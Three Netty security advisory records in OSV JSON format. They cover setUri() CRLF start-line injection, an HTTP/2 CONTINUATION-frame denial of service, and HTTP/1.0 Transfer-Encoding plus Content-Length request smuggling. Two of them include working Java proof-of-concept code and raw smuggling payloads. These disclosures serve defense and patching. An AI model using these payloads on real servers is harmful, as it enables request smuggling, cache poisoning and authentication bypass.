{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T18:27:35Z",
    "nvd_published_at": "2026-05-06T22:16:25Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`.\n\nThe constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.\n\n### Details\nThe root issue is that URI validation exists only on the constructor path, but not on the public setter path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n  - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n  - `setUri(String uri)` only performs `checkNotNull` and does not validate\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n  - `setUri(String uri)` delegates to the parent implementation\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n  - Writes `request.uri()` directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n  - Writes `request.uri()` directly into the request line\n\nThis creates the following bypass:\n\n1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests\n\nThis appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code first creates a normal request object and then injects a malicious request line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.http.HttpMethod;\nimport io.netty.handler.codec.http.HttpRequestEncoder;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.HttpVersion;\nimport io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                HttpVersion.HTTP_1_1, HttpMethod.GET, \"/safe\");\n\n        request.setUri(\"/s1 HTTP/1.1\\r\\n\" +\n                \"\\r\\n\" +\n                \"POST /s2 HTTP/1.1\\r\\n\" +\n                \"content-length: 11\\r\\n\\r\\n\" +\n                \"Hello World\" +\n                \"GET /s1\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by HttpServerCodec ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n\n        Object msg;\n        while ((msg = server.readInbound()) != null) {\n            System.out.println(msg);\n        }\n\n        outbound.release();\n        client.finishAndReleaseAll();\n        server.finishAndReleaseAll();\n    }\n}\n```\n\nWhen reproduced, the raw encoded request looks like this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length: 11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST /s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `RtspEncoder`. A minimal reproduction is shown below.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.rtsp.RtspDecoder;\nimport io.netty.handler.codec.rtsp.RtspEncoder;\nimport io.netty.handler.codec.rtsp.RtspMethods;\nimport io.netty.handler.codec.rtsp.RtspVersions;\nimport io.netty.util.CharsetUtil;\n\npublic final class RtspSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, \"rtsp://safe/media\");\n\n        request.setUri(\"rtsp://cam/stream RTSP/1.0\\r\\n\" +\n                \"CSeq: 1\\r\\n\\r\\n\" +\n                \"DESCRIBE rtsp://cam/secret RTSP/1.0\\r\\n\" +\n                \"CSeq: 2\\r\\n\\r\\n\" +\n                \"OPTIONS rtsp://cam/final\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded RTSP request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by RtspDecoder ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n    }\n}\n```\n\nWhen reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload:\n\n```text\nOPTIONS rtsp://cam/stream RTSP/1.0\nCSeq: 1\n\nDESCRIBE rtsp://cam/secret RTSP/1.0\nCSeq: 2\n\nOPTIONS rtsp://cam/final RTSP/1.0\n```\n\n`RtspDecoder` then parses this as three separate RTSP requests:\n\n- `OPTIONS rtsp://cam/stream`\n- `DESCRIBE rtsp://cam/secret`\n- `OPTIONS rtsp://cam/final`\n\nThis confirms that the same setter bypass is exploitable for RTSP request injection as well.\n\n### Impact\nThe vulnerable conditions are:\n\n- The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest`\n- The request object is created first and later modified through `setUri()`\n- The value passed into `setUri()` is attacker-controlled or attacker-influenced\n- The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder`\n\nUnder those conditions, an attacker may be able to:\n\n- perform HTTP request smuggling\n- trigger proxy/backend desynchronization\n- inject additional requests toward internal APIs\n- confuse request boundaries and bypass assumptions around authentication or routing\n- inject RTSP requests\n\nThe exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.\n\n### Root Cause\nValidation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.\n\nAs a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation.\n\n### Suggested Fix Direction\n`DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors.\n\nRecommended regression coverage:\n\n- verify that `setUri()` rejects CRLF-containing input after object construction\n- verify that `DefaultFullHttpRequest.setUri()` is blocked as well\n- verify that spaces, `\\r`, `\\n`, and request-smuggling payloads are rejected\n- verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses\n\n### Affected Area\n- `netty-codec-http`\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n- `io.netty.handler.codec.rtsp.RtspEncoder`",
  "id": "GHSA-v8h7-rr48-vmmv",
  "modified": "2026-05-08T19:32:42Z",
  "published": "2026-05-05T18:27:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.132.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.2.10.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.11.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33871"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:49:21Z",
    "nvd_published_at": "2026-03-27T20:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server\u0027s lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.\n\n### Details\nThe vulnerability exists in Netty\u0027s `DefaultHttp2FrameReader`. When an HTTP/2 `HEADERS` frame is received without the `END_HEADERS` flag, the server expects one or more subsequent `CONTINUATION` frames. However, the implementation does not enforce a limit on the *count* of these `CONTINUATION` frames.\n\nThe key issue is located in `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`. The `verifyContinuationFrame()` method checks for stream association but fails to implement a frame count limit.\n\nAny user can exploit this by sending a stream of `CONTINUATION` frames with a zero-byte payload. While Netty has a `maxHeaderListSize` protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to `maxHeaderListSize - 0 \u003c currentSize`, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.\n\n`codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`\n\n**`verifyContinuationFrame()` (lines 381-393)** \u2014 No frame count check:\n```java\nprivate void verifyContinuationFrame() throws Http2Exception {\n    verifyAssociatedWithAStream();\n    if (headersContinuation == null) {\n        throw connectionError(PROTOCOL_ERROR, \"...\");\n    }\n    if (streamId != headersContinuation.getStreamId()) {\n        throw connectionError(PROTOCOL_ERROR, \"...\");\n    }\n    // NO frame count limit!\n}\n```\n\n**`HeadersBlockBuilder.addFragment()` (lines 695-723)** \u2014 Byte limit bypassed by 0-byte frames:\n```java\n// Line 710-711: This check NEVER fires when len=0\nif (headersDecoder.configuration().maxHeaderListSizeGoAway() - len \u003c\n        headerBlock.readableBytes()) {\n    headerSizeExceeded();  // 10240 - 0 \u003c 1 =\u003e FALSE always\n}\n```\n\nWhen `len=0`: `maxGoAway - 0 \u003c readableBytes` \u2192 `10240 \u003c 1` \u2192 FALSE. The byte limit is never triggered.\n\n### Impact\nThis is a CPU-based Denial of Service (DoS). Any service using Netty\u0027s default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.",
  "id": "GHSA-w9fj-cfpg-grvv",
  "modified": "2026-03-27T21:48:53Z",
  "published": "2026-03-26T18:49:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:18:41Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "MODERATE"
  },
  "details": "# NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization\n\n| Field     | Value |\n|-----------|-------|\n| Library   | `io.netty:netty-codec-http` |\n| Component | `codec-http` \u2014 `HttpObjectDecoder` |\n| Severity  | **HIGH** |\n| Affects   | HEAD, commit `4f3533ae` confirmed |\n\n---\n\n## Summary\n\n`HttpObjectDecoder` strips a conflicting `Content-Length` header when a request carries both `Transfer-Encoding: chunked` and `Content-Length`, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving `Content-Length` intact in the forwarded `HttpMessage`. Any downstream proxy or handler that trusts `Content-Length` over `Transfer-Encoding` will disagree on message boundaries, enabling request smuggling.\n\n---\n\n## Root Cause\n\n```java\n// HttpObjectDecoder.java:828-833\nif (HttpUtil.isTransferEncodingChunked(message)) {\n    this.chunked = true;\n    if (!contentLengthFields.isEmpty() \u0026\u0026 message.protocolVersion() == HttpVersion.HTTP_1_1) {\n        handleTransferEncodingChunkedWithContentLength(message);  // strips CL \u2014 HTTP/1.1 only\n    }\n    return State.READ_CHUNK_SIZE;\n}\n\n// HttpObjectDecoder.java:870-873\nprotected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {\n    message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);\n    contentLength = Long.MIN_VALUE;\n}\n```\n\nThe conflict-resolution path is gated on `message.protocolVersion() == HttpVersion.HTTP_1_1`. When the request declares `HTTP/1.0`, the condition is false, `handleTransferEncodingChunkedWithContentLength` is never called, and the `Content-Length` header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.\n\n---\n\n## Proof of Concept\n\n```\nPOST /api HTTP/1.0\\r\\n\nHost: internal.example.com\\r\\n\nTransfer-Encoding: chunked\\r\\n\nContent-Length: 0\\r\\n\n\\r\\n\n5\\r\\n\nGPOST\\r\\n\n0\\r\\n\n\\r\\n\n```\n\nNetty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads `Content-Length: 0`, considers the request complete at the blank line, and treats `5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n` as the start of a second request.\n\n---\n\n## Conditions Required\n\n1. Netty is deployed behind a reverse proxy or load balancer that is `Content-Length`-first (nginx, some HAProxy configs, AWS ALB in certain modes).\n2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).\n3. No additional HTTP/1.0 stripping layer between attacker and Netty.\n\n---\n\n## Impact\n\nRequest smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.\n\n---\n\n## Confirmed PoC Test\n\nVerified against HEAD (`4f3533ae`) using `EmbeddedChannel`. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.\n\n```java\npackage io.netty.handler.codec.http;\n\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.util.CharsetUtil;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\npublic class NettySmugglingSec001Test {\n\n    // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict\n    @Test\n    public void http10_contentLengthNotStripped() {\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());\n        ch.writeInbound(Unpooled.copiedBuffer(\n                \"POST /api HTTP/1.0\\r\\n\" +\n                \"Transfer-Encoding: chunked\\r\\n\" +\n                \"Content-Length: 0\\r\\n\" +\n                \"\\r\\n\" +\n                \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n        HttpRequest req = ch.readInbound();\n        assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());\n        // Content-Length: 0 survives \u2014 downstream CL-first proxy treats chunked body as new request\n        assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), \"VULNERABLE: CL not stripped\");\n        ch.finishAndReleaseAll();\n    }\n\n    // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict\n    @Test\n    public void http11_contentLengthStripped() {\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());\n        ch.writeInbound(Unpooled.copiedBuffer(\n                \"POST /api HTTP/1.1\\r\\n\" +\n                \"Transfer-Encoding: chunked\\r\\n\" +\n                \"Content-Length: 0\\r\\n\" +\n                \"\\r\\n\" +\n                \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n        HttpRequest req = ch.readInbound();\n        assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), \"SAFE: CL correctly stripped\");\n        ch.finishAndReleaseAll();\n    }\n}\n```\n\n---\n\n## Fix Guidance\n\nRemove the `message.protocolVersion() == HttpVersion.HTTP_1_1` guard in `HttpObjectDecoder`, applying `handleTransferEncodingChunkedWithContentLength` unconditionally whenever both `Transfer-Encoding: chunked` and `Content-Length` are present, regardless of protocol version.",
  "id": "GHSA-xxqh-mfjm-7mv9",
  "modified": "2026-05-14T20:41:05Z",
  "published": "2026-05-07T00:18:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization"
}